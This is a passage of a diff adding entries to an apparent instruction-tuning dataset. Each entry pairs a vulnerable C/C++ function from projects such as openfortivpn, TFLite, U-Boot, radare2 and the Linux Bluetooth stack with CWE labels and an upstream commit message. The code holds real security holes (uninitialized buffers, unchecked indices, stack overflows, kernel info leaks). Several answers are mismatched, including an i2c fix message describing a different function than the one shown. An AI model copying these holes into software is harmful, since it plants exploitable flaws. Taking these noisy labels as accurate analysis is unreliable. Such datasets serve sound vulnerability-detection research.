break;\n    case DWG_TYPE_APPID:\n      error = dwg_decode_APPID (dat, obj);\n      break;\n    case DWG_TYPE_DIMSTYLE_CONTROL:\n      error = dwg_decode_DIMSTYLE_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.DIMSTYLE_CONTROL)\n        {\n          obj->tio.object->tio.DIMSTYLE_CONTROL->objid = num;\n          dwg->dimstyle_control = *obj->tio.object->tio.DIMSTYLE_CONTROL;\n        }\n      break;\n    case DWG_TYPE_DIMSTYLE:\n      error = dwg_decode_DIMSTYLE (dat, obj);\n      break;\n    case DWG_TYPE_VPORT_ENTITY_CONTROL:\n      error = dwg_decode_VPORT_ENTITY_CONTROL (dat, obj);\n      if (!error && obj->tio.object->tio.VPORT_ENTITY_CONTROL)\n        {\n          obj->tio.object->tio.VPORT_ENTITY_CONTROL->objid = num;\n          dwg->vport_entity_control\n              = *obj->tio.object->tio.VPORT_ENTITY_CONTROL;\n        }\n      break;\n    case DWG_TYPE_VPORT_ENTITY_HEADER:\n      error = dwg_decode_VPORT_ENTITY_HEADER (dat, obj);\n      break;\n    case DWG_TYPE_GROUP:\n      error = dwg_decode_GROUP (dat, obj);\n      break;\n    case DWG_TYPE_MLINESTYLE:\n      error = dwg_decode_MLINESTYLE (dat, obj);\n      break;\n    case DWG_TYPE_OLE2FRAME:\n      error = dwg_decode_OLE2FRAME (dat, obj);\n      break;\n    case DWG_TYPE_DUMMY:\n      error = dwg_decode_DUMMY (dat, obj);\n      break;\n    case DWG_TYPE_LONG_TRANSACTION:\n      error = dwg_decode_LONG_TRANSACTION (dat, obj);\n      break;\n    case DWG_TYPE_LWPOLYLINE:\n      error = dwg_decode_LWPOLYLINE (dat, obj);\n      break;\n    case DWG_TYPE_HATCH:\n      error = dwg_decode_HATCH (dat, obj);\n      break;\n    case DWG_TYPE_XRECORD:\n      error = dwg_decode_XRECORD (dat, obj);\n      break;\n    case DWG_TYPE_PLACEHOLDER:\n      error = dwg_decode_PLACEHOLDER (dat, obj);\n      break;\n    case DWG_TYPE_OLEFRAME:\n      error = dwg_decode_OLEFRAME (dat, obj);\n      break;\n    case DWG_TYPE_VBA_PROJECT:\n      LOG_ERROR (\"Unhandled Object VBA_PROJECT. Has its own section\");\n      // dwg_decode_VBA_PROJECT(dat, obj);\n      error = DWG_ERR_UNHANDLEDCLASS;\n      break;\n    case DWG_TYPE_LAYOUT:\n      error = dwg_decode_LAYOUT (dat, obj);\n      break;\n    case DWG_TYPE_PROXY_ENTITY:\n      error = dwg_decode_PROXY_ENTITY (dat, obj);\n      break;\n    case DWG_TYPE_PROXY_OBJECT:\n      error = dwg_decode_PROXY_OBJECT (dat, obj);\n      break;\n    default:\n      if (obj->type == dwg->layout_type)\n        error = dwg_decode_LAYOUT (dat, obj);\n      /* > 500 */\n      else if ((error = dwg_decode_variable_type (dwg, dat, hdl_dat, obj))\n               & DWG_ERR_UNHANDLEDCLASS)\n        {\n          int is_entity = 0;\n          int i = obj->type - 500;\n          Dwg_Class *klass = NULL;\n\n          /* restart and read into the UNKNOWN_OBJ object */\n          /* the relative offset from type after common_entity_data */\n          // obj->common_size = bit_position(dat) - restartpos;\n          // LOG_HANDLE(\"common_size: %lu\\n\", obj->common_size); // needed for\n          // unknown\n          bit_set_position (dat, restartpos);\n\n          // obj->unknown_off = obj->unknown_pos - restartpos;\n          // LOG_TRACE(\"Unknown pos %lu, offset %lu\\n\", obj->unknown_pos,\n          // obj->unknown_off);\n\n          if (i >= 0 && i < (int)dwg->num_classes)\n            {\n              klass = &dwg->dwg_class[i];\n              is_entity = dwg_class_is_entity (klass);\n            }\n          else\n            {\n              if (i < 0)\n                {\n                  LOG_ERROR (\"Invalid class index %d <0\", i);\n                }\n              else\n                {\n                  LOG_ERROR (\"Invalid class index %d >%d\", i,\n                             (int)dwg->num_classes);\n                }\n              obj->supertype = DWG_SUPERTYPE_UNKNOWN;\n              obj->type = 0;\n              *dat = abs_dat;\n              return error | DWG_ERR_VALUEOUTOFBOUNDS;\n            }\n          // properly dwg_decode_object/_entity for eed, reactors, xdic\n          if (klass && !is_entity)\n            {\n              int err = dwg_decode_UNKNOWN_OBJ (dat, obj);\n              error |= err;\n              obj->supertype = DWG_SUPERTYPE_UNKNOWN;\n              if (!dat)\n                return error;\n              if (err >= DWG_ERR_CRITICAL)\n                *dat = abs_dat;\n            }\n          else if (klass) // is_entity\n            {\n              int err;\n#if 0 && !defined(IS_RELEASE)\n              if (strEQc(klass->dxfname, \"MULTILEADER\")) { //debug CED\n                char *mleader = bit_read_TF(dat, obj->size);\n                LOG_INSANE_TF(mleader, (int)obj->size)\n                bit_set_position(dat, restartpos);\n                free (mleader);\n              }\n#endif\n              err = dwg_decode_UNKNOWN_ENT (dat, obj);\n              error |= err;\n              obj->supertype = DWG_SUPERTYPE_UNKNOWN;\n              if (!dat)\n                return error;\n              if (err >= DWG_ERR_CRITICAL)\n                *dat = abs_dat;\n            }\n          else // not a class\n            {\n              LOG_WARN (\"Unknown object, skipping eed/reactors/xdic\");\n              SINCE (R_2000)\n              {\n                obj->bitsize = bit_read_RL (dat);\n                LOG_TRACE (\"bitsize: \" FORMAT_RL \" [RL] @%lu.%u\\n\",\n                           obj->bitsize, dat->byte-2, dat->bit);\n                if (obj->bitsize > obj->size * 8)\n                  {\n                    LOG_ERROR (\"Invalid bitsize \" FORMAT_RL \" => \" FORMAT_RL,\n                               obj->bitsize, obj->size * 8);\n                    obj->bitsize = obj->size * 8;\n                    error |= DWG_ERR_VALUEOUTOFBOUNDS;\n                  }\n              }\n              if (!bit_read_H (dat, &obj->handle))\n                {\n                  LOG_TRACE (\"handle: \" FORMAT_H \" [H 5]\\n\",\n                             ARGS_H (obj->handle));\n                }\n              restartpos = dat->byte;\n              obj->supertype = DWG_SUPERTYPE_UNKNOWN;\n              obj->tio.unknown = bit_read_TF (dat, obj->size);\n              dat->byte = restartpos;\n            }\n        }\n    }\n\n  if (obj->handle.value)\n    { // empty only with UNKNOWN\n      LOG_HANDLE (\" object_map{%lX} = %lu\\n\", obj->handle.value,\n                  (unsigned long)num);\n      hash_set (dwg->object_map, obj->handle.value, (uint32_t)num);\n    }\n\n  if (dat->byte > 8 * dat->size)\n    {\n      LOG_ERROR (\"Invalid object address (overflow): %lu > %lu\", dat->byte,\n                 8 * dat->size);\n      *dat = abs_dat;\n      return error | DWG_ERR_INVALIDDWG;\n    }\n\n  /* Restore the old absolute chain.\n     CRC needs to be calculated from address, which is before our 0 position.\n   */\n  restartpos = bit_position (dat);\n  *dat = abs_dat;\n  bit_set_position (dat, objpos + restartpos);\n\n  /* Now 1 padding bits until next byte, and then a RS CRC */\n  if (dat->bit)\n    {\n      unsigned char r = 8 - dat->bit;\n      LOG_HANDLE (\" padding: %X/%X (%d bits)\\n\", dat->chain[dat->byte],\n                  dat->chain[dat->byte] & ((1 << r) - 1), r);\n      bit_advance_position (dat, r);\n    }\n  bit_set_position (dat, (obj->address + obj->size) * 8 - 2);\n  if (!bit_check_CRC (dat, address, 0xC0C1))\n    error |= DWG_ERR_WRONGCRC;\n\n  /* Reset to previous addresses for return */\n  *dat = abs_dat;\n\n  return realloced ? -1 : error; // re-alloced or not\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'cleanup tio.unknown\n\nnot needed anymore, we only have UNKNOWN_OBJ or UNKNOWN_ENT with full common\nentity_data.\nFixes GH #178 heap_overflow2'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int ssl_verify_cert(struct tunnel *tunnel)\n{\n\tint ret = -1;\n\tint cert_valid = 0;\n\tunsigned char digest[SHA256LEN];\n\tunsigned int len;\n\tstruct x509_digest *elem;\n\tchar digest_str[SHA256STRLEN], *subject, *issuer;\n\tchar *line;\n\tint i;\n\tX509_NAME *subj;\n\tchar common_name[FIELD_SIZE + 1];\n\n\tSSL_set_verify(tunnel->ssl_handle, SSL_VERIFY_PEER, NULL);\n\n\tX509 *cert = SSL_get_peer_certificate(tunnel->ssl_handle);\n\tif (cert == NULL) {\n\t\tlog_error(\"Unable to get gateway certificate.\\n\");\n\t\treturn 1;\n\t}\n\n\tsubj = X509_get_subject_name(cert);\n\n#ifdef HAVE_X509_CHECK_HOST\n\t// Use OpenSSL native host validation if v >= 1.0.2.\n\t// correctly check return value of X509_check_host\n\tif (X509_check_host(cert, common_name, FIELD_SIZE, 0, NULL) == 1)\n\t\tcert_valid = 1;\n#else\n\t// Use explicit Common Name check if native validation not available.\n\t// Note: this will ignore Subject Alternative Name fields.\n\tif (subj\n\t    && X509_NAME_get_text_by_NID(subj, NID_commonName, common_name,\n\t                                 FIELD_SIZE) > 0\n\t    && strncasecmp(common_name, tunnel->config->gateway_host,\n\t                   FIELD_SIZE) == 0)\n\t\tcert_valid = 1;\n#endif\n\n\t// Try to validate certificate using local PKI\n\tif (cert_valid\n\t    && SSL_get_verify_result(tunnel->ssl_handle) == X509_V_OK) {\n\t\tlog_debug(\"Gateway certificate validation succeeded.\\n\");\n\t\tret = 0;\n\t\tgoto free_cert;\n\t}\n\tlog_debug(\"Gateway certificate validation failed.\\n\");\n\n\t// If validation failed, check if cert is in the white list\n\tif (X509_digest(cert, EVP_sha256(), digest, &len) <= 0\n\t    || len != SHA256LEN) {\n\t\tlog_error(\"Could not compute certificate sha256 digest.\\n\");\n\t\tgoto free_cert;\n\t}\n\t// Encode digest in base16\n\tfor (i = 0; i < SHA256LEN; i++)\n\t\tsprintf(&digest_str[2 * i], \"%02x\", digest[i]);\n\tdigest_str[SHA256STRLEN - 1] = '\\0';\n\t// Is it in whitelist?\n\tfor (elem = tunnel->config->cert_whitelist; elem != NULL;\n\t     elem = elem->next)\n\t\tif (memcmp(digest_str, elem->data, SHA256STRLEN - 1) == 0)\n\t\t\tbreak;\n\tif (elem != NULL) { // break before end of loop\n\t\tlog_debug(\"Gateway certificate digest found in white list.\\n\");\n\t\tret = 0;\n\t\tgoto free_cert;\n\t}\n\n\tsubject = X509_NAME_oneline(subj, NULL, 0);\n\tissuer = X509_NAME_oneline(X509_get_issuer_name(cert), NULL, 0);\n\n\tlog_error(\"Gateway certificate validation failed, and the certificate digest in not in the local whitelist. If you trust it, rerun with:\\n\");\n\tlog_error(\"    --trusted-cert %s\\n\", digest_str);\n\tlog_error(\"or add this line to your config file:\\n\");\n\tlog_error(\"    trusted-cert = %s\\n\", digest_str);\n\tlog_error(\"Gateway certificate:\\n\");\n\tlog_error(\"    subject:\\n\");\n\tfor (line = strtok(subject, \"/\"); line != NULL;\n\t     line = strtok(NULL, \"/\"))\n\t\tlog_error(\"        %s\\n\", line);\n\tlog_error(\"    issuer:\\n\");\n\tfor (line = strtok(issuer, \"/\"); line != NULL;\n\t     line = strtok(NULL, \"/\"))\n\t\tlog_error(\"        %s\\n\", line);\n\tlog_error(\"    sha256 digest:\\n\");\n\tlog_error(\"        %s\\n\", digest_str);\n\nfree_cert:\n\tX509_free(cert);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-295', 'CWE-908'], 'message': 'supply proper input buffer to X509_check_host\n\nCVE-2020-7042 use of uninitialized memory in X509_check_host is fixed with\nthis commit\n\nthe uninitialized buffer common_name was passed as argument to X509_check_host\nwhich prevented proper host name validation when openssl >= 1.0.2 was in use.\nThis came in with #282 which went into openfortivpn 1.7.1.\nUnfortunately, this problem has stayed unnoticed because the return value\nwas not properly checked either (which is a separate issue, with CVE-2020-7041,\nand which has been fixed by the previous commit)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: NativeModule::NativeModule(const std::string& filename) : init(nullptr) {\n\tif (uv_dlopen(filename.c_str(), &lib) != 0) {\n\t\tthrow RuntimeGenericError(\"Failed to load module\");\n\t}\n\tif (uv_dlsym(&lib, \"InitForContext\", reinterpret_cast(&init)) != 0 || init == nullptr) {\n\t\tuv_dlclose(&lib);\n\t\tthrow RuntimeGenericError(\"Module is not isolated-vm compatible\");\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-913'], 'message': 'Disallow NativeModule creation unless main isolate'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TfLiteStatus GatherNd(const TfLiteEvalTensor* params,\n                      const TfLiteEvalTensor* indices,\n                      TfLiteEvalTensor* output) {\n  const int indices_dims = indices->dims->size;\n  const int indices_nd = indices->dims->data[indices_dims - 1];\n  const int params_dims = params->dims->size;\n  const IndicesT* index_data = tflite::micro::GetTensorData(indices);\n  const ParamsT* param_data = tflite::micro::GetTensorData(params);\n  ParamsT* output_data = tflite::micro::GetTensorData(output);\n\n  int n_slices = 1;\n  for (int i = 0; i < indices_dims - 1; ++i) {\n    n_slices *= indices->dims->data[i];\n  }\n\n  // If indices[-1] == params.rank, fetch single elements.\n  // If indices[-1] < params.rank, fetch slices.\n  int slice_size = 1;\n  for (int i = indices_nd; i < params_dims; ++i) {\n    slice_size *= params->dims->data[i];\n  }\n\n  int remain_flat_size = ElementCount(*params->dims);\n\n  // Number of elements per dimension\n  int dims_to_count[MAX_INDICES_ND];\n  for (int i = 0; i < indices_nd; ++i) {\n    dims_to_count[i] = remain_flat_size / params->dims->data[i];\n    remain_flat_size = dims_to_count[i];\n  }\n\n  for (int i = 0; i < n_slices; ++i) {\n    int from_pos = 0;\n    for (int j = 0; j < indices_nd; ++j) {\n      int offset = i * indices_nd + j;\n      IndicesT index = index_data[offset];\n      from_pos += index * dims_to_count[j];\n    }\n    std::memcpy(output_data + i * slice_size, param_data + from_pos,\n                sizeof(ParamsT) * slice_size);\n  }\n  return kTfLiteOk;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'GatherNd verifies that an index is valid before reading. (#1286)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int do_i2c_loop(struct cmd_tbl *cmdtp, int flag, int argc,\n\t\t       char *const argv[])\n{\n\tuint\tchip;\n\tint alen;\n\tuint\taddr;\n\tuint\tlength;\n\tu_char\tbytes[16];\n\tint\tdelay;\n\tint ret;\n#if CONFIG_IS_ENABLED(DM_I2C)\n\tstruct udevice *dev;\n#endif\n\n\tif (argc < 3)\n\t\treturn CMD_RET_USAGE;\n\n\t/*\n\t * Chip is always specified.\n\t */\n\tchip = hextoul(argv[1], NULL);\n\n\t/*\n\t * Address is always specified.\n\t */\n\taddr = hextoul(argv[2], NULL);\n\talen = get_alen(argv[2], DEFAULT_ADDR_LEN);\n\tif (alen > 3)\n\t\treturn CMD_RET_USAGE;\n#if CONFIG_IS_ENABLED(DM_I2C)\n\tret = i2c_get_cur_bus_chip(chip, &dev);\n\tif (!ret && alen != -1)\n\t\tret = i2c_set_chip_offset_len(dev, alen);\n\tif (ret)\n\t\treturn i2c_report_err(ret, I2C_ERR_WRITE);\n#endif\n\n\t/*\n\t * Length is the number of objects, not number of bytes.\n\t */\n\tlength = 1;\n\tlength = hextoul(argv[3], NULL);\n\tif (length > sizeof(bytes))\n\t\tlength = sizeof(bytes);\n\n\t/*\n\t * The delay time (uSec) is optional.\n\t */\n\tdelay = 1000;\n\tif (argc > 3)\n\t\tdelay = dectoul(argv[4], NULL);\n\t/*\n\t * Run the loop...\n\t */\n\twhile (1) {\n#if CONFIG_IS_ENABLED(DM_I2C)\n\t\tret = dm_i2c_read(dev, addr, bytes, length);\n#else\n\t\tret = i2c_read(chip, addr, alen, bytes, length);\n#endif\n\t\tif (ret)\n\t\t\ti2c_report_err(ret, I2C_ERR_READ);\n\t\tudelay(delay);\n\t}\n\n\t/* NOTREACHED */\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'i2c: fix stack buffer overflow vulnerability in i2c md command\n\nWhen running \"i2c md 0 0 80000100\", the function do_i2c_md parses the\nlength into an unsigned int variable named length. The value is then\nmoved to a signed variable:\n\n    int nbytes = length;\n    #define DISP_LINE_LEN 16\n    int linebytes = (nbytes > DISP_LINE_LEN) ? DISP_LINE_LEN : nbytes;\n    ret = dm_i2c_read(dev, addr, linebuf, linebytes);\n\nOn systems where integers are 32 bits wide, 0x80000100 is a negative\nvalue to \"nbytes > DISP_LINE_LEN\" is false and linebytes gets assigned\n0x80000100 instead of 16.\n\nThe consequence is that the function which reads from the i2c device\n(dm_i2c_read or i2c_read) is called with a 16-byte stack buffer to fill\nbut with a size parameter which is too large. In some cases, this could\ntrigger a crash. But with some i2c drivers, such as drivers/i2c/nx_i2c.c\n(used with \"nexell,s5pxx18-i2c\" bus), the size is actually truncated to\na 16-bit integer. This is because function i2c_transfer expects an\nunsigned short length. In such a case, an attacker who can control the\nresponse of an i2c device can overwrite the return address of a function\nand execute arbitrary code through Return-Oriented Programming.\n\nFix this issue by using unsigned integers types in do_i2c_md. While at\nit, make also alen unsigned, as signed sizes can cause vulnerabilities\nwhen people forgot to check that they can be negative.\n\nSigned-off-by: Nicolas Iooss \nReviewed-by: Heiko Schocher '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline int crypto_rng_generate(struct crypto_rng *tfm,\n\t\t\t\t      const u8 *src, unsigned int slen,\n\t\t\t\t      u8 *dst, unsigned int dlen)\n{\n\treturn tfm->generate(tfm, src, slen, dst, dlen);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-703'], 'message': 'crypto: rng - Remove old low-level rng interface\n\nNow that all rng implementations have switched over to the new\ninterface, we can remove the old low-level interface.\n\nSigned-off-by: Herbert Xu '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int cmd_mount(void *data, const char *_input) {\n\tut64 off = 0;\n\tchar *input, *oinput, *ptr, *ptr2;\n\tRList *list;\n\tRListIter *iter;\n\tRFSFile *file;\n\tRFSRoot *root;\n\tRFSPlugin *plug;\n\tRFSPartition *part;\n\tRCore *core = (RCore *)data;\n\n\tif (!strncmp (\"kdir\", _input, 4)) {\n\t\treturn cmd_mkdir (data, _input);\n\t}\n\tif (!strncmp (\"v\", _input, 1)) {\n\t\treturn cmd_mv (data, _input);\n\t}\n\tinput = oinput = strdup (_input);\n\n\tswitch (*input) {\n\tcase ' ':\n\t\tinput++;\n\t\tif (input[0]==' ')\n\t\t\tinput++;\n\t\tptr = strchr (input, ' ');\n\t\tif (ptr) {\n\t\t\t*ptr = 0;\n\t\t\tptr++;\n\t\t\tptr2 = strchr (ptr, ' ');\n\t\t\tif (ptr2) {\n\t\t\t\t*ptr2 = 0;\n\t\t\t\toff = r_num_math (core->num, ptr2+1);\n\t\t\t}\n\t\t\tif (!r_fs_mount (core->fs, ptr, input, off))\n\t\t\t\teprintf (\"Cannot mount %s\\n\", input);\n\t\t} else {\n\t\t\tif (!(ptr = r_fs_name (core->fs, core->offset)))\n\t\t\t\teprintf (\"Unknown filesystem type\\n\");\n\t\t\telse if (!r_fs_mount (core->fs, ptr, input, core->offset))\n\t\t\t\teprintf (\"Cannot mount %s\\n\", input);\n\t\t\tfree (ptr);\n\t\t}\n\t\tbreak;\n\tcase '-':\n\t\tr_fs_umount (core->fs, input+1);\n\t\tbreak;\n\tcase '*':\n\t\teprintf (\"List commands in radare format\\n\");\n\t\tr_list_foreach (core->fs->roots, iter, root) {\n\t\t\tr_cons_printf (\"m %s %s 0x%\"PFMT64x\"\\n\",\n\t\t\t\troot-> path, root->p->name, root->delta);\n\t\t}\n\t\tbreak;\n\tcase '\\0':\n\t\tr_list_foreach (core->fs->roots, iter, root) {\n\t\t\tr_cons_printf (\"%s\\t0x%\"PFMT64x\"\\t%s\\n\",\n\t\t\t\troot->p->name, root->delta, root->path);\n\t\t}\n\t\tbreak;\n\tcase 'l': // list of plugins\n\t\tr_list_foreach (core->fs->plugins, iter, plug) {\n\t\t\tr_cons_printf (\"%10s  %s\\n\", plug->name, plug->desc);\n\t\t}\n\t\tbreak;\n\tcase 'd':\n\t\tinput++;\n\t\tif (input[0]==' ')\n\t\t\tinput++;\n\t\tlist = r_fs_dir (core->fs, input);\n\t\tif (list) {\n\t\t\tr_list_foreach (list, iter, file) {\n\t\t\t\tr_cons_printf (\"%c %s\\n\", file->type, file->name);\n\t\t\t}\n\t\t\tr_list_free (list);\n\t\t} else eprintf (\"Cannot open '%s' directory\\n\", input);\n\t\tbreak;\n\tcase 'p':\n\t\tinput++;\n\t\tif (*input == ' ')\n\t\t\tinput++;\n\t\tptr = strchr (input, ' ');\n\t\tif (ptr) {\n\t\t\t*ptr = 0;\n\t\t\toff = r_num_math (core->num, ptr+1);\n\t\t}\n\t\tlist = r_fs_partitions (core->fs, input, off);\n\t\tif (list) {\n\t\t\tr_list_foreach (list, iter, part) {\n\t\t\t\tr_cons_printf (\"%d %02x 0x%010\"PFMT64x\" 0x%010\"PFMT64x\"\\n\",\n\t\t\t\t\tpart->number, part->type,\n\t\t\t\t\tpart->start, part->start+part->length);\n\t\t\t}\n\t\t\tr_list_free (list);\n\t\t} else eprintf (\"Cannot read partition\\n\");\n\t\tbreak;\n\tcase 'o':\n\t\tinput++;\n\t\tif (input[0]==' ')\n\t\t\tinput++;\n\t\tfile = r_fs_open (core->fs, input);\n\t\tif (file) {\n\t\t\t// XXX: dump to file or just pipe?\n\t\t\tr_fs_read (core->fs, file, 0, file->size);\n\t\t\tr_cons_printf (\"f file %d 0x%08\"PFMT64x\"\\n\", file->size, file->off);\n\t\t\tr_fs_close (core->fs, file);\n\t\t} else eprintf (\"Cannot open file\\n\");\n\t\tbreak;\n\tcase 'g':\n\t\tinput++;\n\t\tif (*input == ' ')\n\t\t\tinput++;\n\t\tptr = strchr (input, ' ');\n\t\tif (ptr)\n\t\t\t*ptr++ = 0;\n\t\telse\n\t\t\tptr = \"./\";\n\t\tfile = r_fs_open (core->fs, input);\n\t\tif (file) {\n\t\t\tr_fs_read (core->fs, file, 0, file->size);\n\t\t\twrite (1, file->data, file->size);\n\t\t\tr_fs_close (core->fs, file);\n\t\t\twrite (1, \"\\n\", 1);\n\t\t} else if (!r_fs_dir_dump (core->fs, input, ptr))\n\t\t\teprintf (\"Cannot open file\\n\");\n\t\tbreak;\n\tcase 'f':\n\t\tinput++;\n\t\tswitch (*input) {\n\t\tcase '?':\n\t\t\tr_cons_printf (\n\t\t\t\"Usage: mf[no] [...]\\n\"\n\t\t\t\" mfn /foo *.c       ; search files by name in /foo path\\n\"\n\t\t\t\" mfo /foo 0x5e91    ; search files by offset in /foo path\\n\"\n\t\t\t);\n\t\t\tbreak;\n\t\tcase 'n':\n\t\t\tinput++;\n\t\t\tif (*input == ' ')\n\t\t\t\tinput++;\n\t\t\tptr = strchr (input, ' ');\n\t\t\tif (ptr) {\n\t\t\t\t*ptr++ = 0;\n\t\t\t\tlist = r_fs_find_name (core->fs, input, ptr);\n\t\t\t\tr_list_foreach (list, iter, ptr) {\n\t\t\t\t\tr_str_chop_path (ptr);\n\t\t\t\t\tprintf (\"%s\\n\", ptr);\n\t\t\t\t}\n\t\t\t\t//XXX: r_list_purge (list);\n\t\t\t} else eprintf (\"Unknown store path\\n\");\n\t\t\tbreak;\n\t\tcase 'o':\n\t\t\tinput++;\n\t\t\tif (*input == ' ')\n\t\t\t\tinput++;\n\t\t\tptr = strchr (input, ' ');\n\t\t\tif (ptr) {\n\t\t\t\t*ptr++ = 0;\n\t\t\t\tut64 off = r_num_math (core->num, ptr);\n\t\t\t\tlist = r_fs_find_off (core->fs, input, off);\n\t\t\t\tr_list_foreach (list, iter, ptr) {\n\t\t\t\t\tr_str_chop_path (ptr);\n\t\t\t\t\tprintf (\"%s\\n\", ptr);\n\t\t\t\t}\n\t\t\t\t//XXX: r_list_purge (list);\n\t\t\t} else eprintf (\"Unknown store path\\n\");\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tcase 's':\n\t\tif (core->http_up) {\n\t\t\tfree (oinput);\n\t\t\treturn false;\n\t\t}\n\t\tinput++;\n\t\tif (input[0]==' ')\n\t\t\tinput++;\n\t\tr_fs_prompt (core->fs, input);\n\t\tbreak;\n\tcase 'y':\n\t\teprintf (\"TODO\\n\");\n\t\tbreak;\n\tcase '?': {\n\t\tconst char* help_msg[] = {\n\t\t\t\"Usage:\", \"m[-?*dgy] [...] \", \"Mountpoints management\",\n\t\t\t\"m\", \"\", \"List all mountpoints in human readable format\",\n\t\t\t\"m*\", \"\", \"Same as above, but in r2 commands\",\n\t\t\t\"ml\", \"\", \"List filesystem plugins\",\n\t\t\t\"m\", \" /mnt\", \"Mount fs at /mnt with autodetect fs and current offset\",\n\t\t\t\"m\", \" /mnt ext2 0\", \"Mount ext2 fs at /mnt with delta 0 on IO\",\n\t\t\t\"m-/\", \"\", \"Umount given path (/)\",\n\t\t\t\"my\", \"\", \"Yank contents of file into clipboard\",\n\t\t\t\"mo\", \" /foo\", \"Get offset and size of given file\",\n\t\t\t\"mg\", \" /foo\", \"Get contents of file/dir dumped to disk (XXX?)\",\n\t\t\t\"mf\", \"[?] [o|n]\", \"Search files for given filename or for offset\",\n\t\t\t\"md\", \" /\", \"List directory contents for path\",\n\t\t\t\"mp\", \"\", \"List all supported partition types\",\n\t\t\t\"mp\", \" msdos 0\", \"Show partitions in msdos format at offset 0\",\n\t\t\t\"ms\", \" /mnt\", \"Open filesystem prompt at /mnt\",\n\t\t\t//\"TODO: support multiple mountpoints and RFile IO's (need io+core refactorn\",\n\t\t\tNULL};\n\t\tr_core_cmd_help (core, help_msg);\n\t\t}\n\t\tbreak;\n\t}\n\tfree (oinput);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix #7723 - crash in ext2 GRUB code because of variable size array in stack'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)\n{\n\tstruct sockaddr_l2 *la = (struct sockaddr_l2 *) addr;\n\tstruct sock *sk = sock->sk;\n\tstruct l2cap_chan *chan = l2cap_pi(sk)->chan;\n\n\tBT_DBG(\"sock %p, sk %p\", sock, sk);\n\n\taddr->sa_family = AF_BLUETOOTH;\n\t*len = sizeof(struct sockaddr_l2);\n\n\tif (peer) {\n\t\tla->l2_psm = chan->psm;\n\t\tbacpy(&la->l2_bdaddr, &bt_sk(sk)->dst);\n\t\tla->l2_cid = cpu_to_le16(chan->dcid);\n\t} else {\n\t\tla->l2_psm = chan->sport;\n\t\tbacpy(&la->l2_bdaddr, &bt_sk(sk)->src);\n\t\tla->l2_cid = cpu_to_le16(chan->scid);\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'Bluetooth: L2CAP - Fix info leak via getsockname()\n\nThe L2CAP code fails to initialize the l2_bdaddr_type member of struct\nsockaddr_l2 and the padding byte added for alignment. It that for leaks\ntwo bytes kernel stack via the getsockname() syscall. Add an explicit\nmemset(0) before filling the structure to avoid the info leak.\n\nSigned-off-by: Mathias Krause \nCc: Marcel Holtmann \nCc: Gustavo Padovan \nCc: Johan Hedberg \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int l2cap_sock_connect(struct socket *sock, struct sockaddr *addr, int alen, int flags)\n{\n\tstruct sock *sk = sock->sk;\n\tstruct sockaddr_l2 la;\n\tint len, err = 0;\n\n\tBT_DBG(\"sk %p\", sk);\n\n\tif (!addr || addr->sa_family != AF_BLUETOOTH)\n\t\treturn -EINVAL;\n\n\tmemset(&la, 0, sizeof(la));\n\tlen = min_t(unsigned int, sizeof(la), alen);\n\tmemcpy(&la, addr, len);\n\n\tif (la.l2_cid)\n\t\treturn -EINVAL;\n\n\tlock_sock(sk);\n\n\tif (sk->sk_type == SOCK_SEQPACKET && !la.l2_psm) {\n\t\terr = -EINVAL;\n\t\tgoto done;\n\t}\n\n\tswitch (l2cap_pi(sk)->mode) {\n\tcase L2CAP_MODE_BASIC:\n\t\tbreak;\n\tcase L2CAP_MODE_ERTM:\n\t\tif (enable_ertm)\n\t\t\tbreak;\n\t\t/* fall through */\n\tdefault:\n\t\terr = -ENOTSUPP;\n\t\tgoto done;\n\t}\n\n\tswitch (sk->sk_state) 